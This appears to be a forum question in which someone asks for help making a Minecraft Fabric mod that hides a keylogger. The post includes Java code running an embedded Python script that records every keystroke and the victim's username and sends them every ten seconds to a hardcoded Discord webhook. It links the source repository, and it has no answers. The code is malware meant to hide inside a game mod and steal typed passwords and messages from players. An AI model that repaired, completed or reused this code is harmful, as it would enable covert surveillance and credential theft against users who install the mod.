Can I Make a Minecraft Keylogger?

188 Views Asked by At

I am trying to make a Minecraft Fabric mod for 1.20.1 that works as a keylogger that is connected to a Discord webhook. I know it sounds strange but I think the idea itself should be pretty straightforward to make, but I don't know how to code. Nonetheless I have found some resources online and threw something together. It is a Python keylogger that does exactly what I want, and it's being run in the Java mod via Jython. There are no errors and the client runs but the keylogger is not working, here is the code:

import org.python.util.PythonInterpreter;

public class keylogger {
public static void main(String\[\] args) {
PythonInterpreter pythonInterpreter = new PythonInterpreter();
pythonInterpreter.exec("import keyboard,os\\n" +
"from threading import Timer\\n" +
"from datetime import datetime\\n" +
"from discord_webhook import DiscordWebhook, DiscordEmbed\\n" +
"\\n" +
"SEND_REPORT_EVERY = 10\\n" +
"WEBHOOK = "https://discord.com/api/webhooks/1110290344513376287/rBD_A_SrC-GRBGmL2-lvS4WEpIYn1R2IicihK6xeD1H89y3K-fwS9UBLzNSObzrFCvfp%5C%22%5Cn%22 +
"\\n" +
"class Keylogger: \\n" +
"    def __init__(self, interval, report_method="webhook"):\\n" +
"        now = datetime.now()\\n" +
"        self.interval = interval\\n" +
"        self.report_method = report_method\\n" +
"        self.log = ""\\n" +
"        self.start_dt = now.strftime('%d/%m/%Y %H:%M')\\n" +
"        self.end_dt = now.strftime('%d/%m/%Y %H:%M')\\n" +
"        self.username = os.getlogin()\\n" +
"\\n" +
"    def callback(self, event):\\n" +
"        name = event.name\\n" +
"        if len(name) \> 1:\\n" +
"            if name == "space":\\n" +
"                name = " "\\n" +
"            elif name == "enter":\\n" +
"                name = "\[ENTER\]\\n"\\n" +
"            elif name == "decimal":\\n" +
"                name = "."\\n" +
"            else:\\n" +
"                name = name.replace(" ", "\_")\\n" +
"                name = f"\[{name.upper()}\]"\\n" +
"        self.log += name\\n" +
"\\n" +
"    def report_to_webhook(self):\\n" +
"        flag = False\\n" +
"        webhook = DiscordWebhook(url=WEBHOOK)\\n" +
"        if len(self.log) \> 2000:\\n" +
"            flag = True\\n" +
"            path = os.environ\["temp"\] + "\\\\report.txt"\\n" +
"            with open(path, 'w+') as file:\\n" +
"                file.write(f"Keylogger Report From {self.username} Time: {self.end_dt}\\n\\n")\\n" +
"                file.write(self.log)\\n" +
"            with open(path, 'rb') as f:\\n" +
"                webhook.add_file(file=f.read(), filename='report.txt')\\n" +
"        else:\\n" +
"            embed = DiscordEmbed(title=f"Keylogger Report From ({self.username}) Time: {self.end_dt}", description=self.log)\\n" +
"            webhook.add_embed(embed)    \\n" +
"        webhook.execute()\\n" +
"        if flag:\\n" +
"            os.remove(path)\\n" +
"\\n" +
"    def report(self):\\n" +
"        if self.log:\\n" +
"            if self.report_method == "webhook":\\n" +
"                self.report_to_webhook()    \\n" +
"        self.log = ""\\n" +
"        timer = Timer(interval=self.interval, function=self.report)\\n" +
"        timer.daemon = True\\n" +
"        timer.start()\\n" +
"\\n" +
"    def start(self):\\n" +
"        self.start_dt = datetime.now()\\n" +
"        keyboard.on_release(callback=self.callback)\\n" +
"        self.report()\\n" +
"        keyboard.wait()\\n" +
"    \\n" +
"if __name__ == "__main__":\\n" +
"    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="webhook")    \\n" +
"    keylogger.start()\\n");

    }

}

I also have this in the dependencies of build.gradle:

implementation 'org.python:jython-slim:2.7.2'

I know this is probably confusing but I would really appreciate some help.

Github to the keylogger I pulled: https://github.com/Roomy6/Discord-KeyLog

0

There are 0 best solutions below